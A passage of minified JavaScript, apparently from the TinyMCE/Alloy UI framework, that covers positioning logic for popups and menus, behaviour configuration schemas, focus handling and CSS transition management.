getTrace = function () { var err = new Error(); if (err.stack !== undefined) { var lines = err.stack.split('\n'); return find$5(lines, function (line) { return line.indexOf('alloy') > 0 && !exists(path, function (p) { return line.indexOf(p) > -1; }); }).getOr(unknown); } else { return unknown; } }; var ignoreEvent = { logEventCut: noop, logEventStopped: noop, logNoParent: noop, logEventNoHandlers: noop, logEventResponse: noop, write: noop }; var monitorEvent = function (eventName, initialTarget, f) { return processEvent(eventName, initialTarget, f); }; var noLogger = constant$1(ignoreEvent); var menuFields = constant$1([ required$1('menu'), required$1('selectedMenu') ]); var itemFields = constant$1([ required$1('item'), required$1('selectedItem') ]); constant$1(objOf(itemFields().concat(menuFields()))); var itemSchema$3 = constant$1(objOf(itemFields())); var _initSize = requiredObjOf('initSize', [ required$1('numColumns'), required$1('numRows') ]); var itemMarkers = function () { return requiredOf('markers', itemSchema$3()); }; var tieredMenuMarkers = function () { return requiredObjOf('markers', [required$1('backgroundMenu')].concat(menuFields()).concat(itemFields())); }; var markers$1 = function (required) { return requiredObjOf('markers', map$2(required, required$1)); }; var onPresenceHandler = function (label, fieldName, presence) { getTrace(); return field$1(fieldName, fieldName, presence, valueOf(function (f) { return Result.value(function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } return f.apply(undefined, args); }); })); }; var onHandler = function (fieldName) { return onPresenceHandler('onHandler', fieldName, defaulted$1(noop)); }; var onKeyboardHandler = function (fieldName) { return onPresenceHandler('onKeyboardHandler', fieldName, defaulted$1(Optional.none)); }; var onStrictHandler = function (fieldName) { return onPresenceHandler('onHandler', fieldName, required$2()); }; var onStrictKeyboardHandler = function (fieldName) { return onPresenceHandler('onKeyboardHandler', fieldName, required$2()); }; var output$1 = function (name, value) { return customField(name, constant$1(value)); }; var snapshot = function (name) { return customField(name, identity$1); }; var initSize = constant$1(_initSize); var nu$6 = function (x, y, bubble, direction, placement, boundsRestriction, labelPrefix, alwaysFit) { if (alwaysFit === void 0) { alwaysFit = false; } return { x: x, y: y, bubble: bubble, direction: direction, placement: placement, restriction: boundsRestriction, label: labelPrefix + '-' + placement, alwaysFit: alwaysFit }; }; var adt$a = Adt.generate([ { southeast: [] }, { southwest: [] }, { northeast: [] }, { northwest: [] }, { south: [] }, { north: [] }, { east: [] }, { west: [] } ]); var cata$2 = function (subject, southeast, southwest, northeast, northwest, south, north, east, west) { return subject.fold(southeast, southwest, northeast, northwest, south, north, east, west); }; var cataVertical = function (subject, south, middle, north) { return subject.fold(south, south, north, north, south, north, middle, middle); }; var cataHorizontal = function (subject, east, middle, west) { return subject.fold(east, west, east, west, middle, middle, east, west); }; var southeast$3 = adt$a.southeast; var southwest$3 = adt$a.southwest; var northeast$3 = adt$a.northeast; var northwest$3 = adt$a.northwest; var south$3 = adt$a.south; var north$3 = adt$a.north; var east$3 = adt$a.east; var west$3 = adt$a.west; var cycleBy = function (value, delta, min, max) { var r = value + delta; if (r > max) { return min; } else if (r < min) { return max; } else { return r; } }; var clamp$1 = function (value, min, max) { return Math.min(Math.max(value, min), max); }; var getRestriction = function (anchor, restriction) { switch (restriction) { case 1: return anchor.x; case 0: return anchor.x + anchor.width; case 2: return anchor.y; case 3: return anchor.y + anchor.height; } }; var boundsRestriction = function (anchor, restrictions) { return mapToObject([ 'left', 'right', 'top', 'bottom' ], function (dir) { return get$e(restrictions, dir).map(function (restriction) { return getRestriction(anchor, restriction); }); }); }; var adjustBounds = function (bounds$1, restriction, bubbleOffset) { var applyRestriction = function (dir, current) { return restriction[dir].map(function (pos) { var isVerticalAxis = dir === 'top' || dir === 'bottom'; var offset = isVerticalAxis ? bubbleOffset.top : bubbleOffset.left; var comparator = dir === 'left' || dir === 'top' ? Math.max : Math.min; var newPos = comparator(pos, current) + offset; return isVerticalAxis ? clamp$1(newPos, bounds$1.y, bounds$1.bottom) : clamp$1(newPos, bounds$1.x, bounds$1.right); }).getOr(current); }; var adjustedLeft = applyRestriction('left', bounds$1.x); var adjustedTop = applyRestriction('top', bounds$1.y); var adjustedRight = applyRestriction('right', bounds$1.right); var adjustedBottom = applyRestriction('bottom', bounds$1.bottom); return bounds(adjustedLeft, adjustedTop, adjustedRight - adjustedLeft, adjustedBottom - adjustedTop); }; var labelPrefix$2 = 'layout'; var eastX$1 = function (anchor) { return anchor.x; }; var middleX$1 = function (anchor, element) { return anchor.x + anchor.width / 2 - element.width / 2; }; var westX$1 = function (anchor, element) { return anchor.x + anchor.width - element.width; }; var northY$2 = function (anchor, element) { return anchor.y - element.height; }; var southY$2 = function (anchor) { return anchor.y + anchor.height; }; var centreY$1 = function (anchor, element) { return anchor.y + anchor.height / 2 - element.height / 2; }; var eastEdgeX$1 = function (anchor) { return anchor.x + anchor.width; }; var westEdgeX$1 = function (anchor, element) { return anchor.x - element.width; }; var southeast$2 = function (anchor, element, bubbles) { return nu$6(eastX$1(anchor), southY$2(anchor), bubbles.southeast(), southeast$3(), 'southeast', boundsRestriction(anchor, { left: 1, top: 3 }), labelPrefix$2); }; var southwest$2 = function (anchor, element, bubbles) { return nu$6(westX$1(anchor, element), southY$2(anchor), bubbles.southwest(), southwest$3(), 'southwest', boundsRestriction(anchor, { right: 0, top: 3 }), labelPrefix$2); }; var northeast$2 = function (anchor, element, bubbles) { return nu$6(eastX$1(anchor), northY$2(anchor, element), bubbles.northeast(), northeast$3(), 'northeast', boundsRestriction(anchor, { left: 1, bottom: 2 }), labelPrefix$2); }; var northwest$2 = function (anchor, element, bubbles) { return nu$6(westX$1(anchor, element), northY$2(anchor, element), bubbles.northwest(), northwest$3(), 'northwest', boundsRestriction(anchor, { right: 0, bottom: 2 }), labelPrefix$2); }; var north$2 = function (anchor, element, bubbles) { return nu$6(middleX$1(anchor, element), northY$2(anchor, element), bubbles.north(), north$3(), 'north', boundsRestriction(anchor, { bottom: 2 }), labelPrefix$2); }; var south$2 = function (anchor, element, bubbles) { return nu$6(middleX$1(anchor, element), southY$2(anchor), bubbles.south(), south$3(), 'south', boundsRestriction(anchor, { top: 3 }), labelPrefix$2); }; var east$2 = function (anchor, element, bubbles) { return nu$6(eastEdgeX$1(anchor), centreY$1(anchor, element), bubbles.east(), east$3(), 'east', boundsRestriction(anchor, { left: 0 }), labelPrefix$2); }; var west$2 = function (anchor, element, bubbles) { return nu$6(westEdgeX$1(anchor, element), centreY$1(anchor, element), bubbles.west(), west$3(), 'west', boundsRestriction(anchor, { right: 1 }), labelPrefix$2); }; var all$1 = function () { return [ southeast$2, southwest$2, northeast$2, northwest$2, south$2, north$2, east$2, west$2 ]; }; var allRtl$1 = function () { return [ southwest$2, southeast$2, northwest$2, northeast$2, south$2, north$2, east$2, west$2 ]; }; var aboveOrBelow = function () { return [ northeast$2, northwest$2, southeast$2, southwest$2, north$2, south$2 ]; }; var aboveOrBelowRtl = function () { return [ northwest$2, northeast$2, southwest$2, southeast$2, north$2, south$2 ]; }; var belowOrAbove = function () { return [ southeast$2, southwest$2, northeast$2, northwest$2, south$2, north$2 ]; }; var belowOrAboveRtl = function () { return [ southwest$2, southeast$2, northwest$2, northeast$2, south$2, north$2 ]; }; var chooseChannels = function (channels, message) { return message.universal ? channels : filter$2(channels, function (ch) { return contains$2(message.channels, ch); }); }; var events$h = function (receiveConfig) { return derive$2([run$1(receive(), function (component, message) { var channelMap = receiveConfig.channels; var channels = keys(channelMap); var receivingData = message; var targetChannels = chooseChannels(channels, receivingData); each$1(targetChannels, function (ch) { var channelInfo = channelMap[ch]; var channelSchema = channelInfo.schema; var data = asRawOrDie$1('channel[' + ch + '] data\nReceiver: ' + element(component.element), channelSchema, receivingData.data); channelInfo.onReceive(component, data); }); })]); }; var ActiveReceiving = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$h }); var ReceivingSchema = [requiredOf('channels', setOf(Result.value, objOfOnly([ onStrictHandler('onReceive'), defaulted('schema', anyValue()) ])))]; var executeEvent = function (bConfig, bState, executor) { return runOnExecute$1(function (component) { executor(component, bConfig, bState); }); }; var loadEvent = function (bConfig, bState, f) { return runOnInit(function (component, _simulatedEvent) { f(component, bConfig, bState); }); }; var create$8 = function (schema, name, active, apis, extra, state) { var configSchema = objOfOnly(schema); var schemaSchema = optionObjOf(name, [optionObjOfOnly('config', schema)]); return doCreate(configSchema, schemaSchema, name, active, apis, extra, state); }; var createModes$1 = function (modes, name, active, apis, extra, state) { var configSchema = modes; var schemaSchema = optionObjOf(name, [optionOf('config', modes)]); return doCreate(configSchema, schemaSchema, name, active, apis, extra, state); }; var wrapApi = function (bName, apiFunction, apiName) { var f = function (component) { var rest = []; for (var _i = 1; _i < arguments.length; _i++) { rest[_i - 1] = arguments[_i]; } var args = [component].concat(rest); return component.config({ name: constant$1(bName) }).fold(function () { throw new Error('We could not find any behaviour configuration for: ' + bName + '. Using API: ' + apiName); }, function (info) { var rest = Array.prototype.slice.call(args, 1); return apiFunction.apply(undefined, [ component, info.config, info.state ].concat(rest)); }); }; return markAsBehaviourApi(f, apiName, apiFunction); }; var revokeBehaviour = function (name) { return { key: name, value: undefined }; }; var doCreate = function (configSchema, schemaSchema, name, active, apis, extra, state) { var getConfig = function (info) { return hasNonNullableKey(info, name) ? info[name]() : Optional.none(); }; var wrappedApis = map$1(apis, function (apiF, apiName) { return wrapApi(name, apiF, apiName); }); var wrappedExtra = map$1(extra, function (extraF, extraName) { return markAsExtraApi(extraF, extraName); }); var me = __assign(__assign(__assign({}, wrappedExtra), wrappedApis), { revoke: curry(revokeBehaviour, name), config: function (spec) { var prepared = asRawOrDie$1(name + '-config', configSchema, spec); return { key: name, value: { config: prepared, me: me, configAsRaw: cached(function () { return asRawOrDie$1(name + '-config', configSchema, spec); }), initialConfig: spec, state: state } }; }, schema: constant$1(schemaSchema), exhibit: function (info, base) { return lift2(getConfig(info), get$e(active, 'exhibit'), function (behaviourInfo, exhibitor) { return exhibitor(base, behaviourInfo.config, behaviourInfo.state); }).getOrThunk(function () { return nu$7({}); }); }, name: constant$1(name), handlers: function (info) { return getConfig(info).map(function (behaviourInfo) { var getEvents = get$e(active, 'events').getOr(function () { return {}; }); return getEvents(behaviourInfo.config, behaviourInfo.state); }).getOr({}); } }); return me; }; var derive$1 = function (capabilities) { return wrapAll(capabilities); }; var simpleSchema = objOfOnly([ required$1('fields'), required$1('name'), defaulted('active', {}), defaulted('apis', {}), defaulted('state', NoState), defaulted('extra', {}) ]); var create$7 = function (data) { var value = asRawOrDie$1('Creating behaviour: ' + data.name, simpleSchema, data); return create$8(value.fields, value.name, value.active, value.apis, value.extra, value.state); }; var modeSchema = objOfOnly([ required$1('branchKey'), required$1('branches'), required$1('name'), defaulted('active', {}), defaulted('apis', {}), defaulted('state', NoState), defaulted('extra', {}) ]); var createModes = function (data) { var value = asRawOrDie$1('Creating behaviour: ' + data.name, modeSchema, data); return createModes$1(choose$1(value.branchKey, value.branches), value.name, value.active, value.apis, value.extra, value.state); }; var revoke = constant$1(undefined); var Receiving = create$7({ fields: ReceivingSchema, name: 'receiving', active: ActiveReceiving }); var exhibit$6 = function (base, posConfig) { return nu$7({ classes: [], styles: posConfig.useFixed() ? {} : { position: 'relative' } }); }; var ActivePosition = /*#__PURE__*/Object.freeze({ __proto__: null, exhibit: exhibit$6 }); var getDocument = function () { return SugarElement.fromDom(document); }; var focus$3 = function (element) { return element.dom.focus(); }; var blur$1 = function (element) { return element.dom.blur(); }; var hasFocus = function (element) { var root = getRootNode(element).dom; return element.dom === root.activeElement; }; var active = function (root) { if (root === void 0) { root = getDocument(); } return Optional.from(root.dom.activeElement).map(SugarElement.fromDom); }; var search = function (element) { return active(getRootNode(element)).filter(function (e) { return element.dom.contains(e.dom); }); }; var preserve$1 = function (f, container) { var dos = getRootNode(container); var refocus = active(dos).bind(function (focused) { var hasFocus = function (elem) { return eq(focused, elem); }; return hasFocus(container) ? Optional.some(container) : descendant$1(container, hasFocus); }); var result = f(container); refocus.each(function (oldFocus) { active(dos).filter(function (newFocus) { return eq(newFocus, oldFocus); }).fold(function () { focus$3(oldFocus); }, noop); }); return result; }; var NuPositionCss = function (position, left, top, right, bottom) { var toPx = function (num) { return num + 'px'; }; return { position: position, left: left.map(toPx), top: top.map(toPx), right: right.map(toPx), bottom: bottom.map(toPx) }; }; var toOptions = function (position) { return __assign(__assign({}, position), { position: Optional.some(position.position) }); }; var applyPositionCss = function (element, position) { setOptions(element, toOptions(position)); }; var adt$9 = Adt.generate([ { none: [] }, { relative: [ 'x', 'y', 'width', 'height' ] }, { fixed: [ 'x', 'y', 'width', 'height' ] } ]); var positionWithDirection = function (posName, decision, x, y, width, height) { var decisionRect = decision.rect; var decisionX = decisionRect.x - x; var decisionY = decisionRect.y - y; var decisionWidth = decisionRect.width; var decisionHeight = decisionRect.height; var decisionRight = width - (decisionX + decisionWidth); var decisionBottom = height - (decisionY + decisionHeight); var left = Optional.some(decisionX); var top = Optional.some(decisionY); var right = Optional.some(decisionRight); var bottom = Optional.some(decisionBottom); var none = Optional.none(); return cata$2(decision.direction, function () { return NuPositionCss(posName, left, top, none, none); }, function () { return NuPositionCss(posName, none, top, right, none); }, function () { return NuPositionCss(posName, left, none, none, bottom); }, function () { return NuPositionCss(posName, none, none, right, bottom); }, function () { return NuPositionCss(posName, left, top, none, none); }, function () { return NuPositionCss(posName, left, none, none, bottom); }, function () { return NuPositionCss(posName, left, top, none, none); }, function () { return NuPositionCss(posName, none, top, right, none); }); }; var reposition = function (origin, decision) { return origin.fold(function () { var decisionRect = decision.rect; return NuPositionCss('absolute', Optional.some(decisionRect.x), Optional.some(decisionRect.y), Optional.none(), Optional.none()); }, function (x, y, width, height) { return positionWithDirection('absolute', decision, x, y, width, height); }, function (x, y, width, height) { return positionWithDirection('fixed', decision, x, y, width, height); }); }; var toBox = function (origin, element) { var rel = curry(find$2, element); var position = origin.fold(rel, rel, function () { var scroll = get$9(); return find$2(element).translate(-scroll.left, -scroll.top); }); var width = getOuter$1(element); var height = getOuter$2(element); return bounds(position.left, position.top, width, height); }; var viewport = function (origin, getBounds) { return getBounds.fold(function () { return origin.fold(win, win, bounds); }, function (b) { return origin.fold(b, b, function () { var bounds$1 = b(); var pos = translate$2(origin, bounds$1.x, bounds$1.y); return bounds(pos.left, pos.top, bounds$1.width, bounds$1.height); }); }); }; var translate$2 = function (origin, x, y) { var pos = SugarPosition(x, y); var removeScroll = function () { var outerScroll = get$9(); return pos.translate(-outerScroll.left, -outerScroll.top); }; return origin.fold(constant$1(pos), constant$1(pos), removeScroll); }; var cata$1 = function (subject, onNone, onRelative, onFixed) { return subject.fold(onNone, onRelative, onFixed); }; adt$9.none; var relative$1 = adt$9.relative; var fixed$1 = adt$9.fixed; var anchor = function (anchorBox, origin) { return { anchorBox: anchorBox, origin: origin }; }; var box = function (anchorBox, origin) { return anchor(anchorBox, origin); }; var placementAttribute = 'data-alloy-placement'; var setPlacement$1 = function (element, placement) { set$8(element, placementAttribute, placement); }; var getPlacement = function (element) { return getOpt(element, placementAttribute); }; var reset$2 = function (element) { return remove$7(element, placementAttribute); }; var adt$8 = Adt.generate([ { fit: ['reposition'] }, { nofit: [ 'reposition', 'visibleW', 'visibleH', 'isVisible' ] } ]); var determinePosition = function (box, bounds) { var boundsX = bounds.x, boundsY = bounds.y, boundsRight = bounds.right, boundsBottom = bounds.bottom; var x = box.x, y = box.y, right = box.right, bottom = box.bottom, width = box.width, height = box.height; var xInBounds = x >= boundsX && x <= boundsRight; var yInBounds = y >= boundsY && y <= boundsBottom; var originInBounds = xInBounds && yInBounds; var rightInBounds = right <= boundsRight && right >= boundsX; var bottomInBounds = bottom <= boundsBottom && bottom >= boundsY; var sizeInBounds = rightInBounds && bottomInBounds; var visibleW = Math.min(width, x >= boundsX ? boundsRight - x : right - boundsX); var visibleH = Math.min(height, y >= boundsY ? boundsBottom - y : bottom - boundsY); return { originInBounds: originInBounds, sizeInBounds: sizeInBounds, visibleW: visibleW, visibleH: visibleH }; }; var calcReposition = function (box, bounds$1) { var boundsX = bounds$1.x, boundsY = bounds$1.y, boundsRight = bounds$1.right, boundsBottom = bounds$1.bottom; var x = box.x, y = box.y, width = box.width, height = box.height; var maxX = Math.max(boundsX, boundsRight - width); var maxY = Math.max(boundsY, boundsBottom - height); var restrictedX = clamp$1(x, boundsX, maxX); var restrictedY = clamp$1(y, boundsY, maxY); var restrictedWidth = Math.min(restrictedX + width, boundsRight) - restrictedX; var restrictedHeight = Math.min(restrictedY + height, boundsBottom) - restrictedY; return bounds(restrictedX, restrictedY, restrictedWidth, restrictedHeight); }; var calcMaxSizes = function (direction, box, bounds) { var upAvailable = constant$1(box.bottom - bounds.y); var downAvailable = constant$1(bounds.bottom - box.y); var maxHeight = cataVertical(direction, downAvailable, downAvailable, upAvailable); var westAvailable = constant$1(box.right - bounds.x); var eastAvailable = constant$1(bounds.right - box.x); var maxWidth = cataHorizontal(direction, eastAvailable, eastAvailable, westAvailable); return { maxWidth: maxWidth, maxHeight: maxHeight }; }; var attempt = function (candidate, width, height, bounds$1) { var bubble = candidate.bubble; var bubbleOffset = bubble.offset; var adjustedBounds = adjustBounds(bounds$1, candidate.restriction, bubbleOffset); var newX = candidate.x + bubbleOffset.left; var newY = candidate.y + bubbleOffset.top; var box = bounds(newX, newY, width, height); var _a = determinePosition(box, adjustedBounds), originInBounds = _a.originInBounds, sizeInBounds = _a.sizeInBounds, visibleW = _a.visibleW, visibleH = _a.visibleH; var fits = originInBounds && sizeInBounds; var fittedBox = fits ? box : calcReposition(box, adjustedBounds); var isPartlyVisible = fittedBox.width > 0 && fittedBox.height > 0; var _b = calcMaxSizes(candidate.direction, fittedBox, bounds$1), maxWidth = _b.maxWidth, maxHeight = _b.maxHeight; var reposition = { rect: fittedBox, maxHeight: maxHeight, maxWidth: maxWidth, direction: candidate.direction, placement: candidate.placement, classes: { on: bubble.classesOn, off: bubble.classesOff }, layout: candidate.label, testY: newY }; return fits || candidate.alwaysFit ? adt$8.fit(reposition) : adt$8.nofit(reposition, visibleW, visibleH, isPartlyVisible); }; var attempts = function (element, candidates, anchorBox, elementBox, bubbles, bounds) { var panelWidth = elementBox.width; var panelHeight = elementBox.height; var attemptBestFit = function (layout, reposition, visibleW, visibleH, isVisible) { var next = layout(anchorBox, elementBox, bubbles, element, bounds); var attemptLayout = attempt(next, panelWidth, panelHeight, bounds); return attemptLayout.fold(constant$1(attemptLayout), function (newReposition, newVisibleW, newVisibleH, newIsVisible) { var improved = isVisible === newIsVisible ? newVisibleH > visibleH || newVisibleW > visibleW : !isVisible && newIsVisible; return improved ? attemptLayout : adt$8.nofit(reposition, visibleW, visibleH, isVisible); }); }; var abc = foldl(candidates, function (b, a) { var bestNext = curry(attemptBestFit, a); return b.fold(constant$1(b), bestNext); }, adt$8.nofit({ rect: anchorBox, maxHeight: elementBox.height, maxWidth: elementBox.width, direction: southeast$3(), placement: 'southeast', classes: { on: [], off: [] }, layout: 'none', testY: anchorBox.y }, -1, -1, false)); return abc.fold(identity$1, identity$1); }; var singleton = function (doRevoke) { var subject = Cell(Optional.none()); var revoke = function () { return subject.get().each(doRevoke); }; var clear = function () { revoke(); subject.set(Optional.none()); }; var isSet = function () { return subject.get().isSome(); }; var get = function () { return subject.get(); }; var set = function (s) { revoke(); subject.set(Optional.some(s)); }; return { clear: clear, isSet: isSet, get: get, set: set }; }; var destroyable = function () { return singleton(function (s) { return s.destroy(); }); }; var unbindable = function () { return singleton(function (s) { return s.unbind(); }); }; var api$1 = function () { var subject = destroyable(); var run = function (f) { return subject.get().each(f); }; return __assign(__assign({}, subject), { run: run }); }; var value$1 = function () { var subject = singleton(noop); var on = function (f) { return subject.get().each(f); }; return __assign(__assign({}, subject), { on: on }); }; var filter = always; var bind = function (element, event, handler) { return bind$2(element, event, filter, handler); }; var capture = function (element, event, handler) { return capture$1(element, event, filter, handler); }; var fromRawEvent = fromRawEvent$1; var properties = [ 'top', 'bottom', 'right', 'left' ]; var timerAttr = 'data-alloy-transition-timer'; var isTransitioning$1 = function (element, transition) { return hasAll(element, transition.classes); }; var shouldApplyTransitionCss = function (transition, decision, lastPlacement) { return lastPlacement.exists(function (placer) { var mode = transition.mode; return mode === 'all' ? true : placer[mode] !== decision[mode]; }); }; var hasChanges = function (position, intermediate) { var round = function (value) { return parseFloat(value).toFixed(3); }; return find$4(intermediate, function (value, key) { var newValue = position[key].map(round); var val = value.map(round); return !equals(newValue, val); }).isSome(); }; var getTransitionDuration = function (element) { var get = function (name) { var style = get$c(element, name); var times = isString(style) ? style.split(/\s*,\s*/) : []; return filter$2(times, isNotEmpty); }; var parse = function (value) { if (isString(value) && /^[\d.]+/.test(value)) { var num = parseFloat(value); return endsWith(value, 'ms') ? num : num * 1000; } else { return 0; } }; var delay = get('transition-delay'); var duration = get('transition-duration'); return foldl(duration, function (acc, dur, i) { var time = parse(delay[i]) + parse(dur); return Math.max(acc, time); }, 0); }; var setupTransitionListeners = function (element, transition) { var transitionEnd = unbindable(); var transitionCancel = unbindable(); var timer; var isSourceTransition = function (e) { var _a; var pseudoElement = (_a = e.raw.pseudoElement) !== null && _a !== void 0 ? _a : ''; return eq(e.target, element) && isEmpty(pseudoElement) && contains$2(properties, e.raw.propertyName); }; var transitionDone = function (e) { if (isNullable(e) || isSourceTransition(e)) { transitionEnd.clear(); transitionCancel.clear(); var type = e === null || e === void 0 ? void 0 : e.raw.type; if (isNullable(type) || type === transitionend()) { clearTimeout(timer); remove$7(element, timerAttr); remove$1(element, transition.classes); } } }; var transitionStarted = function () { transitionEnd.set(bind(element, transitionend(), transitionDone)); transitionCancel.set(bind(element, transitioncancel(), transitionDone)); }; if ('ontransitionstart' in element.dom) { var transitionStart_1 = bind(element, transitionstart(), function (e) { if (isSourceTransition(e)) { transitionStart_1.unbind(); transitionStarted(); } }); } else { transitionStarted(); } var duration = getTransitionDuration(element); requestAnimationFrame(function () { timer = setTimeout(transitionDone, duration + 17); set$8(element, timerAttr, timer); }); }; var startTransitioning = function (element, transition) { add$1(element, transition.classes); getOpt(element, timerAttr).each(function (timerId) { clearTimeout(parseInt(timerId, 10)); remove$7(element, timerAttr); }); setupTransitionListeners(element, transition); }; var applyTransitionCss = function (element, origin, position, transition, decision, lastPlacement) { var shouldTransition = shouldApplyTransitionCss(transition, decision, lastPlacement); if (shouldTransition || isTransitioning$1(element, transition)) { set$7(element, 'position', position.position); var rect = toBox(origin, element); var intermediatePosition_1 = reposition(origin, __assign(__assign({}, decision), { rect: rect })); var intermediateCssOptions = mapToObject(properties, function (prop) { return intermediatePosition_1[prop]; }); if (hasChanges(position, intermediateCssOptions)) { setOptions(element, intermediateCssOptions); if (shouldTransition) { startTransitioning(element, transition); } reflow(element); } } else { remove$1(element, transition.classes); } }; var elementSize = function (p) { return { width: getOuter$1(p), height: getOuter$2(p) }; }; var layout = function (anchorBox, element, bubbles, options) { remove$6(element, 'max-height'); remove$6(element, 'max-width'); var elementBox = elementSize(element); return attempts(element, options.preference, anchorBox, elementBox, bubbles, options.bounds); }; var setClasses = function (element, decision) { var classInfo = decision.classes; remove$1(element, classInfo.off); add$1(element, classInfo.on); }; var setHeight = function (element, decision, options) { var maxHeightFunction = options.maxHeightFunction; maxHeightFunction(element, decision.maxHeight); }; var setWidth = function (element, decision, options) { var maxWidthFunction = options.maxWidthFunction; maxWidthFunction(element, decision.maxWidth); }; var position$2 = function (element, decision, options) { var positionCss = reposition(options.origin, decision); options.transition.each(function (transition) { applyTransitionCss(element, options.origin, positionCss, transition, decision, options.lastPlacement); }); applyPositionCss(element, positionCss); }; var setPlacement = function (element, decision) { setPlacement$1(element, decision.placement); }; var setMaxHeight = function (element, maxHeight) { setMax$1(element, Math.floor(maxHeight)); }; var anchored = constant$1(function (element, available) { setMaxHeight(element, available); setAll(element, { 'overflow-x': 'hidden', 'overflow-y': 'auto' }); }); var expandable$1 = constant$1(function (element, available) { setMaxHeight(element, available); }); var defaultOr = function (options, key, dephault) { return options[key] === undefined ? dephault : options[key]; }; var simple = function (anchor, element, bubble, layouts, lastPlacement, getBounds, overrideOptions, transition) { var maxHeightFunction = defaultOr(overrideOptions, 'maxHeightFunction', anchored()); var maxWidthFunction = defaultOr(overrideOptions, 'maxWidthFunction', noop); var anchorBox = anchor.anchorBox; var origin = anchor.origin; var options = { bounds: viewport(origin, getBounds), origin: origin, preference: layouts, maxHeightFunction: maxHeightFunction, maxWidthFunction: maxWidthFunction, lastPlacement: lastPlacement, transition: transition }; return go(anchorBox, element, bubble, options); }; var go = function (anchorBox, element, bubble, options) { var decision = layout(anchorBox, element, bubble, options); position$2(element, decision, options); setPlacement(element, decision); setClasses(element, decision); setHeight(element, decision, options); setWidth(element, decision, options); return { layout: decision.layout, placement: decision.placement }; }; var allAlignments = [ 'valignCentre', 'alignLeft', 'alignRight', 'alignCentre', 'top', 'bottom', 'left', 'right', 'inset' ]; var nu$5 = function (xOffset, yOffset, classes, insetModifier) { if (insetModifier === void 0) { insetModifier = 1; } var insetXOffset = xOffset * insetModifier; var insetYOffset = yOffset * insetModifier; var getClasses = function (prop) { return get$e(classes, prop).getOr([]); }; var make = function (xDelta, yDelta, alignmentsOn) { var alignmentsOff = difference(allAlignments, alignmentsOn); return { offset: SugarPosition(xDelta, yDelta), classesOn: bind$3(alignmentsOn, getClasses), classesOff: bind$3(alignmentsOff, getClasses) }; }; return { southeast: function () { return make(-xOffset, yOffset, [ 'top', 'alignLeft' ]); }, southwest: function () { return make(xOffset, yOffset, [ 'top', 'alignRight' ]); }, south: function () { return make(-xOffset / 2, yOffset, [ 'top', 'alignCentre' ]); }, northeast: function () { return make(-xOffset, -yOffset, [ 'bottom', 'alignLeft' ]); }, northwest: function () { return make(xOffset, -yOffset, [ 'bottom', 'alignRight' ]); }, north: function () { return make(-xOffset / 2, -yOffset, [ 'bottom', 'alignCentre' ]); }, east: function () { return make(xOffset, -yOffset / 2, [ 'valignCentre', 'left' ]); }, west: function () { return make(-xOffset, -yOffset / 2, [ 'valignCentre', 'right' ]); }, insetNortheast: function () { return make(insetXOffset, insetYOffset, [ 'top', 'alignLeft', 'inset' ]); }, insetNorthwest: function () { return make(-insetXOffset, insetYOffset, [ 'top', 'alignRight', 'inset' ]); }, insetNorth: function () { return make(-insetXOffset / 2, insetYOffset, [ 'top', 'alignCentre', 'inset' ]); }, insetSoutheast: function () { return make(insetXOffset, -insetYOffset, [ 'bottom', 'alignLeft', 'inset' ]); }, insetSouthwest: function () { return make(-insetXOffset, -insetYOffset, [ 'bottom', 'alignRight', 'inset' ]); }, insetSouth: function () { return make(-insetXOffset / 2, -insetYOffset, [ 'bottom', 'alignCentre', 'inset' ]); }, insetEast: function () { return make(-insetXOffset, -insetYOffset / 2, [ 'valignCentre', 'right', 'inset' ]); }, insetWest: function () { return make(insetXOffset, -insetYOffset / 2, [ 'valignCentre', 'left', 'inset' ]); } }; }; var fallback = function () { return nu$5(0, 0, {}); }; var nu$4 = identity$1; var onDirection = function (isLtr, isRtl) { return function (element) { return getDirection(element) === 'rtl' ? isRtl : isLtr; }; }; var getDirection = function (element) { return get$c(element, 'direction') === 'rtl' ? 'rtl' : 'ltr'; }; var AttributeValue; (function (AttributeValue) { AttributeValue['TopToBottom'] = 'toptobottom'; AttributeValue['BottomToTop'] = 'bottomtotop'; }(AttributeValue || (AttributeValue = {}))); var Attribute = 'data-alloy-vertical-dir'; var isBottomToTopDir = function (el) { return closest$2(el, function (current) { return isElement$2(current) && get$d(current, 'data-alloy-vertical-dir') === AttributeValue.BottomToTop; }); }; var schema$y = function () { return optionObjOf('layouts', [ required$1('onLtr'), required$1('onRtl'), option('onBottomLtr'), option('onBottomRtl') ]); }; var get$4 = function (elem, info, defaultLtr, defaultRtl, defaultBottomLtr, defaultBottomRtl, dirElement) { var isBottomToTop = dirElement.map(isBottomToTopDir).getOr(false); var customLtr = info.layouts.map(function (ls) { return ls.onLtr(elem); }); var customRtl = info.layouts.map(function (ls) { return ls.onRtl(elem); }); var ltr = isBottomToTop ? info.layouts.bind(function (ls) { return ls.onBottomLtr.map(function (f) { return f(elem); }); }).or(customLtr).getOr(defaultBottomLtr) : customLtr.getOr(defaultLtr); var rtl = isBottomToTop ? info.layouts.bind(function (ls) { return ls.onBottomRtl.map(function (f) { return f(elem); }); }).or(customRtl).getOr(defaultBottomRtl) : customRtl.getOr(defaultRtl); var f = onDirection(ltr, rtl); return f(elem); }; var placement$4 = function (component, anchorInfo, origin) { var hotspot = anchorInfo.hotspot; var anchorBox = toBox(origin, hotspot.element); var layouts = get$4(component.element, anchorInfo, belowOrAbove(), belowOrAboveRtl(), aboveOrBelow(), aboveOrBelowRtl(), Optional.some(anchorInfo.hotspot.element)); return Optional.some(nu$4({ anchorBox: anchorBox, bubble: anchorInfo.bubble.getOr(fallback()), overrides: anchorInfo.overrides, layouts: layouts, placer: Optional.none() })); }; var HotspotAnchor = [ required$1('hotspot'), option('bubble'), defaulted('overrides', {}), schema$y(), output$1('placement', placement$4) ]; var placement$3 = function (component, anchorInfo, origin) { var pos = translate$2(origin, anchorInfo.x, anchorInfo.y); var anchorBox = bounds(pos.left, pos.top, anchorInfo.width, anchorInfo.height); var layouts = get$4(component.element, anchorInfo, all$1(), allRtl$1(), all$1(), allRtl$1(), Optional.none()); return Optional.some(nu$4({ anchorBox: anchorBox, bubble: anchorInfo.bubble, overrides: anchorInfo.overrides, layouts: layouts, placer: Optional.none() })); }; var MakeshiftAnchor = [ required$1('x'), required$1('y'), defaulted('height', 0), defaulted('width', 0), defaulted('bubble', fallback()), defaulted('overrides', {}), schema$y(), output$1('placement', placement$3) ]; var adt$7 = Adt.generate([ { screen: ['point'] }, { absolute: [ 'point', 'scrollLeft', 'scrollTop' ] } ]); var toFixed = function (pos) { return pos.fold(identity$1, function (point, scrollLeft, 